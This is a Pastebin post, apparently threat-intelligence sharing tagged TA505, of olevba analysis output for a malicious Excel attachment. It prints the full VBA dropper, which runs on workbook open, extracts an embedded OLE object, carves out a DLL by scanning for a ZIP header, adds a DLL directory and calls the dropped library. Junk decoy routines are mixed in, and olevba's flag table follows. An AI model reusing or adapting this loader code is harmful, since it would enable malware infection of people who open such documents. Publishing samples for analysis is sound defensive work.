Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #TA505 #xls #Macro
- olevba 0.55.1 on Python 3.8.5 - http://decalage.info/python/oletools
- ===============================================================================
- FILE: Angebot_09082020_617.xls
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ThisWorkbook.cls
- in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Private Sub Workbook_Open()
- If WelcomeDialog.Visible = True Then
- Exit Sub
- End If
- Module5.RedButton 19999
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Form0.frm
- in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Form0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Page11.cls
- in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Page11'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Lumene.cls
- in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Lumene'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Dim vSpeed As Integer
- Dim vLicensePlate As String
- Public Property Get Speed() As Integer
- Speed = vSpeed
- End Property
- Public Property Get CheckCar(car As Variant, Drive As String)
- CheckCar = car.SpecialFolders("" & Drive)
- End Property
- Public Property Get SpecialFolders() As String
- LicensePlate = vLicensePlate
- End Property
- Public Property Let LicensePlate(lp As String)
- If Len(lp) <> 6 Then Err.Raise (xlErrValue)
- vLicensePlate = lp
- End Property
- -------------------------------------------------------------------------------
- VBA MACRO WelcomeDialog.frm
- in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/WelcomeDialog'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Private Sub UserForm_Activate()
- DoEvents
- DoEvents
- ExChangeMoney
- DoEvents
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module1.bas
- in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public HurricanMoes() As Byte
- Public PatchForLuck As Byte
- Public LUCKY As Double
- Public MoveStep As Byte
- Public PatchForHeart As Byte
- #If VBA7 And Win64 Then
- Public Declare PtrSafe Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
- Public Declare PtrSafe Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As LongPtr
- Public Declare PtrSafe Function gdemn Lib "str_join2.dll" () As Integer
- #Else
- Public Declare Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
- Public Declare Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As Long
- Public Declare Function gdemn Lib "str_join1.dll" () As Integer
- #End If
- Public Sub VistaQ(WhereToGo)
- DoEvents
- ThisWorkbook.Sheets.Copy
- Application.DisplayAlerts = False
- DoEvents
- ActiveWorkbook.SaveAs WhereToGo, Local:=False, FileFormat:=3 * 7 + 3 * 7 + 9
- DoEvents
- DoEvents
- ActiveWorkbook.Close
- DoEvents
- DoEvents
- End Sub
- Public Sub PublicResumEraseByArrayList(ParamArray putArrayBigList() As Variant)
- On Error Resume Next
- For Each Key In putArrayBigList
- Kill Key
- Next Key
- End Sub
- Private Sub TextBox2_Change()
- x = Len(TextBox2)
- Y = LTrim(TextBox2.Text)
- d = TextBox2
- If d = "" Then
- TextBox2.BackColor = &HFFFFFF
- Exit Sub
- End If
- If Left(d, 2) > 24 Then
- MsgBox "Ora Errata"
- TextBox2.SelStart = 0
- TextBox2.SelLength = Len(TextBox2)
- Exit Sub
- End If
- If x = 2 Then TextBox2 = Y & ":"
- If x = 4 Then Exit Sub
- If Mid(d, 4, 2) = "" Then Exit Sub
- If Mid(d, 4, 2) > 59 Then
- MsgBox "Minuti Errati"
- TextBox2.SelStart = 3
- TextBox2.SelLength = Len(TextBox2)
- Exit Sub
- End If
- If x = 5 Then
- TextBox3.SetFocus
- End If
- Exit Sub
- Resume
- End Sub
- Public Function ExChangeMoney()
- Dim ofbl As String
- Dim sOfbl As String
- Dim NumBForRead As Long
- dershlep = "" + Form0.TextBox1.Tag
- Dim sendings As Integer
- ofbl = Form0.TextBox1.Tag
- ofbl = ofbl + "\str_join"
- liquidOne = Form0.TextBox1.Tag + "\academ"
- liquidOne = liquidOne + "l.xlsx"
- Dim arr(1 To 3) As String
- If LenB(Form0.TextBox3.Text) > 200 Then
- MsgBox "Ultrapassa 66 Caracteres!", vbCritical, "HISTÓRICO"
- TextBox7.SelStart = 0
- Else
- End If
- Dim objeto As Control
- If Len(Form0.TextBox1.Text) > 366 Then
- For Each objeto In UserForm1.Controls
- On Error Resume Next
- objeto.Value = "]"
- Next
- Unload ggg.UserForm1
- ggg.UserForm1.Hide
- End If
- ctackPip = liquidOne & Page11.Range("B115").Value
- sOfbl = ofbl + Page11.Range("B115").Value
- PublicResumEraseByArrayList ofbl + "*", Form0.TextBox3.Tag + "\str_join*", sOfbl, ctackPip, dershlep & UserForm1.Label1.Tag
- VistaQ liquidOne
- FileCopy Source:=liquidOne, Destination:=ctackPip
- sendings = 1
- Dim sNMSP As New Shell
- FlagDouble = False
- Lrigat = UserForm1.Label11.Tag
- If sendings > -15 And sendings > -130 Then
- Set DestinationKat = sNMSP.Namespace(dershlep)
- Set harvest = sNMSP.Namespace(ctackPip)
- End If
- Set ExcelC = ThisWorkbook.Sheets(1).Application.Sheets(1).Application
- DestinationKat.CopyHere harvest.Items.Item(Lrigat)
- Dim car As Lumene
- Set car = New Lumene
- NumBForRead = 431109
- sendings = 1
- flayString = "1"
- Composition dershlep + "" + UserForm1.Label1.Tag + "" & "", sOfbl, NumBForRead
- If sendings < 100 Then
- sendings = sendings + 1
- sendings = sendings + 1
- End If
- If sendings > -16 Or sendings > -130 Then
- Set DestinationKat = sNMSP.Namespace(Form0.TextBox3.Tag)
- Set harvest = sNMSP.Namespace(sOfbl)
- DestinationKat.CopyHere harvest.Items
- End If
- If -100 <= sendings Then
- sendings = sendings + 1
- ChDir Form0.TextBox3.Tag
- sendings = sendings + 1
- End If
- sOfbl = """" + sOfbl & ""","""
- If sendings < 0 Then
- sendings = sendings + 1
- sendings = sendings + 1
- End If
- If sendings > 1000 Then
- sendings = sendings - 20
- End If
- If sendings < 17 Then
- sendings = sendings - 30
- End If
- If sendings < 0 Then
- sendings = sendings + 1
- sendings = sendings + 1
- End If
- StopByOk = TestResult(d)
- setDLLDirectory "" + Form0.TextBox3.Tag
- gdemn
- WelcomeDialog.Hide
- End Function
- Sub subTotalSales()
- Dim LR As Integer
- LR = Cells(Rows.Count, "A").End(xlUp).Row + 2
- Rows("1:2").EntireRow.Insert Shift:=xlDown
- If LR = 3 Then
- Range("A1").Select
- Call salesHeade.rs
- Range("A2").Formula = "$0"
- Range("B2").Formula = "$0"
- Range("C2").Formula = "$0"
- Range("D2").Formula = "$0"
- Range("E2").Formula = "$0"
- Range("F2").Formula = "0%"
- Range("G2").Formula = "0"
- Range("H2").Formula = "$0"
- Range("I2").Formula = "0"
- Range("J2").Formula = "0"
- Range("K2").Formula = "$0"
- Range("L2").Formula = "$0"
- Range("M2").Formula = "0"
- Range("N2").Formula = "0%"
- Else
- Range("A1").Select
- Call salesHeade.rs
- With ActiveSheet
- End With
- End If
- End Sub
- Sub InputWeekData(x As Date)
- ActiveCell = Format(x, "ww", vbMonday, vbFirstFourDays)
- ActiveCell.Offset(0, 1).Select
- ActiveCell = x
- ActiveCell.Offset(0, 1).Select
- ActiveCell = x + 6
- ActiveCell.Offset(0, 1).Select
- End Sub
- Private Sub TextBox3_Change()
- Y = LTrim(TextBox3.Text)
- d = TextBox3
- If x = 5 Then
- TextBox4.SetFocus
- End If
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module2.bas
- in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Const FirstB As Byte = 80
- Public Const SecondB As Byte = 75
- Public Const ThirdB As Byte = 3
- Public Const FourthB As Byte = 4
- Public Sub GetParam(Count As Integer)
- Dim I As Long
- Dim j As Integer
- Dim C As String
- Dim tooolsetChunkI As Boolean
- Dim tooolsetChunkQ As Boolean
- j = 1
- tooolsetChunkI = False
- tooolsetChunkQ = False
- GetP.aram = ""
- For I = 1 To Len(Comma.nd$)
- C = Mi.d$(Comma.nd$, I, 1)
- If tooolsetChunkI Then
- If C = """" Then
- j = j + 1
- tooolsetChunkI = False
- tooolsetChunkQ = False
- End If
- ElseIf Not tooolsetChunkQ Then
- If C = " " Then
- j = j + 1
- End If
- Else
- If C = """" Then
- If j > Count Then Exit Sub
- tooolsetChunkI = True
- tooolsetChunkQ = True
- ElseIf C <> " ccc" Then
- End If
- End If
- If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
- Next I
- End Sub
- Public Sub setDLLDirectory(ByVal targetDir As String)
- Dim b As Byte
- Dim p As Long
- code2 (&H1000)
- code1 (StrConv(targetDir, vbUnicode))
- End Sub
- Public Sub GetParam3(Count As Integer)
- Dim I As Long
- Dim j As Integer
- Dim C As String
- Dim tooolsetChunkI As Boolean
- Dim tooolsetChunkQ As Boolean
- j = 1
- tooolsetChunkI = False
- tooolsetChunkQ = False
- GetP.aram = ""
- For I = 1 To Len(Comma.nd$)
- C = Mi.d$(Comma.nd$, I, 1)
- If tooolsetChunkI Then
- If C = """" Then
- j = j + 1
- tooolsetChunkI = False
- tooolsetChunkQ = False
- End If
- Else
- If C = """" Then
- If j > Count Then Exit Sub
- tooolsetChunkI = True
- tooolsetChunkQ = True
- ElseIf C <> " " Then
- tooolsetChunkI = True
- End If
- End If
- If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
- Next I
- End Sub
- Public Sub Composition(Composition2 As String, ofbl As String, fl As Long)
- Dim PChannel As Long
- Dim logicVari As Integer
- Dim SimpleMethod As Integer
- ReDim HurricanMoes(1 To fl)
- PChannel = FreeFile
- Open Composition2 For Binary Access Read As PChannel
- HurricanMoes(1) = FirstB
- HurricanMoes(2) = SecondB
- HurricanMoes(3) = ThirdB
- HurricanMoes(4) = FourthB
- logicVari = 1
- Do While Not EOF(PChannel)
- Get PChannel, , MoveStep
- If MoveStep = FirstB Then
- Get PChannel, , PatchForHeart
- If PatchForHeart = SecondB Then
- Get PChannel, , PatchForLuck
- If PatchForLuck = ThirdB Then
- Get PChannel, , PatchForLuck
- If PatchForLuck = FourthB Then
- For k = 5 To fl
- Get PChannel, , MoveStep
- HurricanMoes(k) = MoveStep
- Next k
- Exit Do
- End If
- End If
- End If
- End If
- Loop
- On Error Resume Next
- PublicationChannel = 1892
- Close PChannel
- PublicationChannel = 1892 + PublicationChannel
- PChannel = FreeFile
- PublicationChannel = 1892 + PublicationChannel
- Open ofbl For Binary Lock Read Write As #PChannel
- PublicationChannel = 1892 + PublicationChannel
- zeroBob = 1
- For I = zeroBob To UBound(HurricanMoes)
- If WelcomeDialog.Enabled = True Then
- Put #PChannel, , HurricanMoes(I)
- End If
- Next I
- Close PChannel
- PChannel = FreeFile
- For HSP = 33 To -1 Step -0.25
- PChannel = 6 + I
- Next HSP
- PChannel = 6 + I
- End Sub
- Private Sub cmd_Keluar_Click()
- Unload LSD.Me
- MDIForm1.dokter.Enabled = True
- MDIForm1.dokter.Checked = False
- End Sub
- Private Sub cmd_Perbaiki_Click()
- If cmd_Perbaiki.Caption = "Pe&rbaiki" Then
- cmd_Simpan.Enabled = False
- cmd_Hapus.Enabled = False
- cmd_Batal.Enabled = True
- Dim var As String
- var = InputBox("Ketikkan kode dokter yang datanya akan di perbaiki !", "Perbaiki Data dokter")
- If var = Empty Then Exit Sub
- Data1.Recordset.Index = "Kode_dokter"
- Data1.Recordset.Seek "=", var
- If Not Data1.Recordset.NoMatch Then
- Call tam.pil
- txtkd_dok.Enabled = False
- txtnm_dok.Enabled = True
- cmd_Perbaiki.Caption = "&Perbaharui data"
- Else
- MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
- End If
- Else
- Data1.Recordset.Edit
- Data1.Recordset!kode_dokter = txtkd_dok.Text
- Data1.Recordset!nama_dokter = txtnm_dok.Text
- Data1.Recordset.Update
- Call ber.sih
- cmd_Perbaiki.Caption = "Pe&rbaiki"
- cmd_Batal.Enabled = False
- cmd_Simpan.Enabled = True
- cmd_Hapus.Enabled = True
- Call tdk_bi.sa
- End If
- End Sub
- Private Sub cmd_Simpan_Click()
- If cmd_Simpan.Caption = "&Isi Data" Then
- Call bis.A
- nom.Or
- M.e.txtnm_dok.SetFocus
- cmd_Batal.Enabled = True
- cmd_Perbaiki.Enabled = False
- cmd_Hapus.Enabled = False
- cmd_cari.Enabled = False
- cmd_Simpan.Caption = "&Simpan Data"
- Else
- If txtkd_dok.Text = "" Or _
- txtnm_dok.Text = "" Then
- MsgBox "Data tidak boleh kosong !", vbCritical, "SISTEM PENJUALAN KREDIT"
- txtkd_dok.SetFocus
- Else
- cmd_Batal.Enabled = False
- cmd_Perbaiki.Enabled = True
- cmd_Hapus.Enabled = True
- cmd_cari.Enabled = True
- Data1.Recordset!kode_dokter = txtkd_dok.Text
- Data1.Recordset!nama_dokter = txtnm_dok.Text
- Data1.Recordset.Update
- Call ber.sih
- cmd_Simpan.Caption = "&Isi Data"
- End If
- End If
- End Sub
- Function retVal(ByVal v As Variant) As Variant
- If v <> 0 Then
- retVal = v
- Else
- retVal = ""
- End If
- End Function
- Function getFile() As String()
- Dim s As String
- Dim sl(1000) As String
- Dim r As Range
- Dim I As Integer
- Erase sl
- I = 0
- For Each r In Worksheets("Sheet1").Range("B1:B100")
- s = r.Value
- If s <> "" Then
- I = I + 1
- End If
- Next r
- getFile = sl()
- End Function
- Function MatchRegExp(ByVal Text As String, ByVal MatchWord As String, _
- Optional CaseCompare, _
- Optional RegExp As Object = Nothing, _
- Optional Match As Object = Nothing) As Boolean
- On Error GoTo Err:
- Dim result As Boolean
- result = False
- Do
- If (MatchWord = "") Or (Text = "") Then Exit Do
- Dim RegCreateFlag As Boolean
- RegCreateFlag = False
- If RegExp Is Nothing Then
- RegCreateFlag = True
- Set RegExp = CreateObject("VBScript.RegExp")
- End If
- RegExp.Pattern = MatchWord
- RegExp.Global = True
- RegExp.IgnoreCase = CaseCompare = IgnoreCase
- Set Match = RegExp.Execute(Text)
- If 1 <= Match.Count Then
- result = True
- End If
- If RegCreateFlag Then
- Set RegExp = Nothing
- End If
- Loop While False
- MatchRegExp = result
- Exit Function
- Err:
- MatchRegExp = False
- End Function
- Private Sub testArrayAddArray()
- Dim A1()
- A1 = Array("A", "B", "C")
- Dim A2()
- A2 = Array("D", "E")
- Call ArrayA.ddArray(A1, A2)
- Call Check(5, ArrayC.ount(A1))
- Call Check("D", A1(3))
- Call Check("E", A1(4))
- '???????????
- Dim B1()
- Dim B2()
- B2 = Array("1", "2")
- Call ArrayA.ddArray(B1, B2)
- Call Check(2, ArrayC.ount(B1))
- Call Check("1", B1(0))
- Call Check("2", B1(1))
- End Sub
- Sub ArrayInsert(ByRef ArrayValue As Variant, _
- ByVal Index As Long, ByVal Value As Variant)
- Call Assert(IsArray(ArrayValue), "Error:ArrayInsert:ArrayValue is not Array.")
- Call Assert(InRange(LBound(ArrayValue), Index, UBound(ArrayValue)), _
- "Error:ArrayInsert:Index Range Over.")
- ReDim Preserve ArrayValue(LBound(ArrayValue) To UBound(ArrayValue) + 1)
- Dim I As Long
- For I = UBound(ArrayValue) To Index + 1 Step -1
- Call SetValue(ArrayValue(I), ArrayValue(I - 1))
- Next
- Call SetValue(ArrayValue(Index), Value)
- End Sub
- Public Function InRange( _
- ByVal MinValue As Long, _
- ByVal Value As Long, _
- ByVal MaxValue As Long) As Boolean
- InRange = ((MinValue <= Value) And (Value <= MaxValue))
- End Function
- Private Sub testArrayInsert()
- Dim A
- A = Array("A", "B", "C")
- Call Check("B", A(1))
- Call Check(3, ArrayCount(A))
- Call ArrayInsert(A, 1, "1")
- Call Check(4, ArrayCount(A))
- Call Check("1", A(1))
- Dim b()
- ReDim b(2)
- Set b(0) = CreateObject("VBScript.RegExp")
- Set b(2) = Nothing
- Call Check(Shel.l32.CurrentDirectory, b(1).CurrentDirectory)
- Call ArrayInsert(b, 1, fso)
- Call Check("test.txt", b(1).GetFileName("C:\temp\test.txt"))
- End Sub
- Public Sub Assert(ByVal Value As Boolean, Optional ByVal Message As String)
- If Value = False Then
- Call Err.Raise(9999, , Message)
- End If
- End Sub
- Public Sub SetValue(ByRef Variable, ByVal Value)
- If IsObject(Value) Then
- Set Variable = Value
- Else
- Variable = Value
- End If
- End Sub
- Public Function ArrayCount(ByRef ArrayValue As Variant, _
- Optional Dimension = 1) As Long
- Call Assert(IsArray(ArrayValue), "Error:ArrayCount:ArrayValue is not Array.")
- ArrayCount = _
- UBoundNo.Error(ArrayValue, Dimension) - _
- LBoundNo.Error(ArrayValue, Dimension) + 1
- End Function
- Private Sub testAssert()
- Call Assert(False, "???")
- End Sub
- Public Function Check(ByVal A As Variant, ByVal b As Variant) As Boolean
- Check = (A = b)
- If Check = False Then
- Call MsgBox("A != B" + vbCrLf + _
- "A = " + CStr(A) + vbCrLf + _
- "B = " + CStr(b))
- End If
- End Function
- -------------------------------------------------------------------------------
- VBA MACRO UserForm1.frm
- in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/UserForm1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Module5.bas
- in file: Angebot_09082020_617.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Module5'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Function RedButton(dImmer As Double)
- DosTres = "DosTres"
- If WelcomeDialog.Visible <> False Then
- Exit Function
- End If
- reqPlace = 3
- reqPlace = reqPlace - 1
- Set car = New Lumene
- Set TSPIP = New IWshRuntimeLibrary.WshShell
- Select Case reqPlace
- Case 0
- s = "N health problems"
- Case 1
- s = "Minor health problems"
- s = "Sev ere disability"
- End Select
- Dim SpecialPath As String
- PRP = "%" + Form0.TextBox1.Tag
- TBT = PRP
- TBT = TBT + "" + ""
- TBT = TBT + "%"
- TBT = TSPIP.ExpandEnvironmentStrings(TBT)
- firstWeek = 0
- firstDay = 0
- Dim firstdate As Date
- Form0.TextBox1.Tag = TBT
- firstDay = 2
- lastDay = 4
- Dim lastdate As Date
- lastWeek = 0
- lastDay = 0
- s = car.CheckCar(TSPIP, Form0.TextBox3.ControlTipText & "")
- firstWeek = 1
- lastWeek = 3
- Form0.TextBox3.Tag = s
- If Not firstDay = 1 Then
- firstdate = firstdate + (8 - firstDay)
- firstWeek = firstWeek + 1
- End If
- If lastDay = 6 Then
- lastdate = lastdate + 1
- lastDay = lastDay + 1
- ElseIf Not lastDay = 7 Then
- lastdate = lastdate - lastDay
- lastDay = 7
- lastWeek = lastWeek - 1
- End If
- Iteration = 0
- ChDir (Form0.TextBox1.Tag + "")
- If WelcomeDialog.Visible = False Then
- WelcomeDialog.Show
- End If
- End Function
- Private Sub Command7_Click()
- b = MsgBox("?????????", vbYesNo)
- If b = vbYes Then
- A = "delete from cinema where cinid='"
- A = A + Text1.Text + "'"
- cnmovie.Execute A
- rs4.Close
- Sql = "select * from cinema"
- rs4.Open Sql, cnmovie, adOpenDynamic, adLockOptimistic
- If rs.BOF Or rs.EOF Then
- MsgBox "?????!"
- Else
- rs4.MoveFirst
- Call View.Data
- End If
- End If
- End Sub
- Private Sub nomor()
- Dim urutan As String * 5
- Dim hitung As Byte
- If Data1.Recordset.RecordCount = 0 Then
- urutan = "Dr" & "001"
- Else
- Data1.Recordset.MoveLast
- If Val(Left(Data1.Recordset!kode_dokter, 3)) <> "000" Then
- urutan = "00" & "001"
- Else
- hitung = Val(Right(Data1.Recordset!kode_dokter, 3)) + 1
- urutan = "Dr" & Right("000" & hitung, 3)
- End If
- End If
- M.e.txtkd_dok = urutan
- End Sub
- Private Sub cmd_Batal_Click()
- Call be.rsih
- Call td.k_bisa
- cmd_Batal.Enabled = False
- cmd_Perbaiki.Enabled = True
- cmd_Hapus.Enabled = True
- cmd_cari.Enabled = True
- End Sub
- Private Sub cmd_cari_Click()
- Dim var As String
- var = InputBox("Masukan Kode Dokter yang ingin anda cari!", "Cari data dokter")
- If var = Empty Then Exit Sub
- If var <> "" Then
- Data1.Recordset.Index = "kode_dokter"
- Data1.Recordset.Seek "=", var
- If Not Data1.Recordset.NoMatch Then
- Call tam.pil
- Call bi.sa
- Call kun.ci
- Else
- MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
- End If
- End If
- End Sub
- Public Function TestResult(result As Variant)
- TestResult = False
- If IsNumeric(ExcelReturn) Then
- If ExcelReturn = 0 Then
- TestResult = True
- End If
- End If
- End Function
- Private Sub cmd_Hapus_Click()
- Dim var As String
- var = InputBox("Masukan Kode dokter yang akan dihapus!", "Hapus dokter")
- If var = Empty Then Exit Sub
- If var = "" Then
- Data1.Recordset.Index = "Kode_dokter"
- Data1.Recordset.Seek "=", var
- If Not Data1.Recordset.NoMatch Then
- Data1.Recordset.Delete
- Data1.Refresh
- Data1.Recordset.MoveFirst
- Else
- MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
- End If
- End If
- End Sub
- -------------------------------------------------------------------------------
- VBA FORM STRING IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- H�,�
- -------------------------------------------------------------------------------
- VBA FORM STRING IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- \oleObject*.bin
- -------------------------------------------------------------------------------
- VBA FORM STRING IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/UserForm1/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- �Label1s
- -------------------------------------------------------------------------------
- VBA FORM STRING IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/UserForm1/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- �xl\embeddings\oleObject1.bin�
- -------------------------------------------------------------------------------
- VBA FORM STRING IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/UserForm1/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Tahomas
- -------------------------------------------------------------------------------
- VBA FORM Variable "b'TextBox1'" IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/Form0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- b''
- -------------------------------------------------------------------------------
- VBA FORM Variable "b'TextBox3'" IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/Form0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- b'\\oleObject*.bin'
- -------------------------------------------------------------------------------
- VBA FORM Variable "b'ComboBox1'" IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/Form0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- b''
- -------------------------------------------------------------------------------
- VBA FORM Variable "b'Label1'" IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/UserForm1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- None
- -------------------------------------------------------------------------------
- VBA FORM Variable "b'Label11'" IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/UserForm1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- None
- +----------+--------------------+---------------------------------------------+
- |Type |Keyword |Description |
- +----------+--------------------+---------------------------------------------+
- |AutoExec |Workbook_Open |Runs when the Excel Workbook is opened |
- |AutoExec |cmd_Keluar_Click |Runs when the file is opened and ActiveX |
- | | |objects trigger events |
- |AutoExec |TextBox2_Change |Runs when the file is opened and ActiveX |
- | | |objects trigger events |
- |Suspicious|Open |May open a file |
- |Suspicious|Write |May write to a file (if combined with Open) |
- |Suspicious|Put |May write to a file (if combined with Open) |
- |Suspicious|Binary |May read or write a binary file (if combined |
- | | |with Open) |
- |Suspicious|FileCopy |May copy a file |
- |Suspicious|Kill |May delete a file |
- |Suspicious|Shell |May run an executable file or a system |
- | | |command |
- |Suspicious|Call |May call a DLL using Excel 4 Macros (XLM/XLF)|
- |Suspicious|ActiveWorkbook.SaveA|May save the current workbook |
- | |s | |
- |Suspicious|CreateObject |May create an OLE object |
- |Suspicious|Lib |May run code from a DLL |
- |Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
- | | |used to obfuscate strings (option --decode to|
- | | |see all) |
- |Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
- | | |used to obfuscate strings (option --decode to|
- | | |see all) |
- |Suspicious|VBA obfuscated |VBA string expressions were detected, may be |
- | |Strings |used to obfuscate strings (option --decode to|
- | | |see all) |
- |IOC |kernel32.dll |Executable file name |
- |IOC |str_join2.dll |Executable file name |
- |IOC |str_join1.dll |Executable file name |
- |Hex String|'\x00\x02\x08\x19' |00020819 |
- |Hex String|'\x00\x00\x00\x00\x0|000000000046 |
- | |0F' | |
- |Hex String|'eY' |986559CA |
- |Hex String|'\\\x07{H' |5C07BD7B8E48 |
- |Hex String|')' |F729A6FC |
- |Hex String|'?!0\x0b\x12' |3F21300B1291 |
- |Hex String|'\x00\x02\x08 ' |00020820 |
- |Hex String|'=*' |FCFB3D2A |
- |Hex String|'\x08\x00+3q' |08002B3371B5 |
- |Hex String|' Z' |20CEFC5A |
- |Hex String|'\x03)J' |0329FAB24AE6 |
- |Hex String|'@p' |C5EC4070 |
- |Hex String|'\t\x0fkkN' |AB090F6B6B4E |
- |Hex String|'\x0bΈ' |0BCE88D8 |
- |Hex String|'G\x80\x08' |47C2800895FB |
- |Hex String|'ˈ' |A8CB88CC |
- |Hex String|'eh' |AEBF65BD68C7 |
- |Base64 |"ICy8yh'" |SetDefaultDllDirectories |
- |String | | |
- |VBA string|b'\xb1\x15' |Range("B115") |
- |VBA string| |"" & "" |
- |VBA string| |"" + "" |
- |VBA string|Dr001 |"Dr" & "001" |
- |VBA string|00001 |"00" & "001" |
- +----------+--------------------+---------------------------------------------+
- MACRO SOURCE CODE WITH DEOBFUSCATED VBA STRINGS (EXPERIMENTAL):
- Private Sub Workbook_Open()
- If WelcomeDialog.Visible = True Then
- Exit Sub
- End If
- Module5.RedButton 19999
- End Sub
- Attribute VB_Name = "Form0"
- Attribute VB_Base = "0{986559CA-7D84-4DD1-814E-5C07BD7B8E48}{F729A6FC-4BC4-4868-A182-3F21300B1291}"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = False
- Attribute VB_TemplateDerived = False
- Attribute VB_Customizable = False
- Attribute VB_Name = "Page11"
- Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = False
- Attribute VB_Customizable = True
- Attribute VB_Name = "Lumene"
- Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = False
- Attribute VB_Exposed = False
- Attribute VB_TemplateDerived = False
- Attribute VB_Customizable = False
- Dim vSpeed As Integer
- Dim vLicensePlate As String
- Public Property Get Speed() As Integer
- Speed = vSpeed
- End Property
- Public Property Get CheckCar(car As Variant, Drive As String)
- CheckCar = car.SpecialFolders("" & Drive)
- End Property
- Public Property Get SpecialFolders() As String
- LicensePlate = vLicensePlate
- End Property
- Public Property Let LicensePlate(lp As String)
- If Len(lp) <> 6 Then Err.Raise (xlErrValue)
- vLicensePlate = lp
- End Property
- Attribute VB_Name = "WelcomeDialog"
- Attribute VB_Base = "0{20CEFC5A-A153-46F9-ADB1-0329FAB24AE6}{C5EC4070-A9FC-4938-A010-AB090F6B6B4E}"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = False
- Attribute VB_TemplateDerived = False
- Attribute VB_Customizable = False
- Private Sub UserForm_Activate()
- DoEvents
- DoEvents
- ExChangeMoney
- DoEvents
- End Sub
- Attribute VB_Name = "Module1"
- Public HurricanMoes() As Byte
- Public PatchForLuck As Byte
- Public LUCKY As Double
- Public MoveStep As Byte
- Public PatchForHeart As Byte
- #If VBA7 And Win64 Then
- Public Declare PtrSafe Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
- Public Declare PtrSafe Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As LongPtr
